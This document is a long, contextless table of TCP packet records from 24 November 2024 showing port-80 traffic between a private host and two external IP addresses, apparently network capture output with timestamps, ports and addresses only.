Nov 24, 2024 12:24:26.088485956 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.088898897 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.088951111 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:26.089351892 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.089623928 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.089675903 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:26.090249062 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.090336084 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.090435028 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:26.091125965 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.091548920 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.091598988 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:26.092070103 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.092087030 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.092133045 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:26.093055964 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.093071938 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.093116045 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:26.093754053 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.094269991 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.094341040 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:26.094655991 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.095061064 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.095114946 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:26.095666885 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.095683098 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.095738888 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:26.096494913 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.097286940 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.097321033 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.097331047 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:26.097337008 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.097374916 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:26.098144054 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.098483086 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.098532915 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:26.099127054 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.099143982 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.099194050 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:26.099934101 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.100148916 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.100199938 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:26.100769997 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.101696014 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.101711988 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.101727962 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.101742029 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:26.101778030 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:26.102516890 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.102726936 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.102777958 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:26.103375912 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.104136944 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.104298115 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.104314089 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.104346037 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:26.104381084 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:26.105252028 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.105273962 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.105319023 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:26.106051922 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.106178045 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.106220007 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:26.106923103 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.107038021 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.107103109 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:26.107789040 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.108021975 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.108062029 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:26.108670950 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.108809948 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.108850956 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:26.109560966 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.109729052 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.109771013 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:26.110446930 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.110712051 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.110754013 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:26.111345053 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.111690998 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.111749887 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:26.112210989 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.112359047 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.112406015 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:26.113091946 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.113622904 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.113672972 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:26.113944054 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.114619017 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.114670992 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:26.114877939 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.114905119 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.114949942 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:26.115715981 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.116293907 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.116415977 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:26.120691061 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:26.127371073 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.127405882 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.127423048 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.127439022 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.127454996 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:26.127466917 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.127481937 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.127490044 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:26.127499104 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.127513885 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.127526999 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:26.127531052 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.127546072 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.127557039 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:26.127573967 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.127583027 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:26.127592087 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.127607107 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.127631903 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.127634048 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:26.127646923 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.127662897 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.127671957 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:26.127691031 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.127706051 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.127706051 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:26.127722979 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.127738953 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.127757072 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.127763033 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:26.127772093 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.127785921 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:26.127789021 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.127809048 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:26.127815962 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.127968073 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:26.195492029 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.195533991 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.195591927 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.195591927 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.195672989 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.195722103 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.195725918 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.195806980 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.196810007 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.196989059 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.197036982 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.197930098 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.198436975 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.198509932 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.199081898 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.199096918 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.199125051 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.199146986 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.200150967 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.200340986 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.200382948 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.201261997 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.201278925 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.201303959 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.201332092 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.213151932 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.213411093 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.213464975 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:26.213625908 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.213651896 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.214458942 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:26.214474916 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.215023994 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.215069056 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:26.215373993 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.231038094 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:26.287059069 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.287524939 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.287540913 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.287556887 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.287579060 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:26.287596941 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:26.288335085 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.288819075 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.288878918 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:26.289220095 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.289326906 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.289423943 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:26.290095091 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.290266037 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.290364981 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:26.290975094 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.291129112 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.291218996 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:26.291877985 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.291893959 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.291935921 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:26.292815924 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.292833090 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.292895079 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:26.293637037 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.293934107 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.294452906 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:26.294488907 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.294655085 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.294698000 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:26.295412064 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.296305895 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.296322107 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.296339035 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.296360970 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:26.296385050 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:26.297156096 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.297334909 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.297380924 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:26.298024893 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.298466921 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.298605919 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:26.298893929 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.299649954 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.299798012 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.299813032 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.299854040 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:26.299868107 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:26.300618887 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.301538944 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.301553965 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.301568985 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.301616907 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:26.301630974 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:26.302375078 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.302556038 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:26.302598000 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.303294897 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.303349018 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:26.303936958 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.304187059 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.304202080 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.304244995 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:26.305015087 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.305727005 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.305767059 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:26.305960894 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.305974960 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.306006908 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:26.306786060 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.307656050 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.307679892 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.307694912 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.307746887 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:26.308549881 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.309024096 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.309077978 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:26.309437990 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.309976101 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.310318947 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:26.310354948 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.310370922 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.310420036 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:26.311158895 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.311708927 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.312052011 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.312108994 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:26.312447071 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.312936068 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.312983036 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:26.313868046 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.313883066 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.313899994 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.313910961 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:26.313941956 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:26.314774990 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.315229893 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.315289974 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:26.315571070 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.316016912 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.316450119 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.316504002 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:26.317414045 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.317433119 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.317449093 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.317473888 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:26.317487955 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:26.318228006 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.318284035 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.318339109 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:26.319062948 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.319108963 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.319863081 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:26.319962025 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.320192099 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.320348978 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:26.320828915 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.321166039 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.321732044 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.321757078 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.321785927 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:26.321785927 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:26.322578907 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.322985888 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.323030949 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:26.323468924 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.324398041 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.324421883 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.324436903 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.324491978 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:26.325227022 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.325400114 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.325450897 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:26.326117039 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.326471090 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.326987028 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.327300072 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.327358007 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:26.327877998 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.328609943 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.328665972 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:26.328773975 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.328788996 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.329685926 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.329701900 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.329741001 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:26.329754114 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:26.387918949 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.388046026 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.388115883 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.389444113 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.389496088 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.389796019 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.389812946 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.389828920 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.389841080 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.389856100 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.389890909 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.390644073 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.390686989 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.390737057 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.391766071 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.391813993 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.391904116 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.391951084 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.392889023 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.392904997 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.392961025 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.393954992 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.394005060 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.394450903 CET	80	49793	31.41.244.11	192.168.2.4
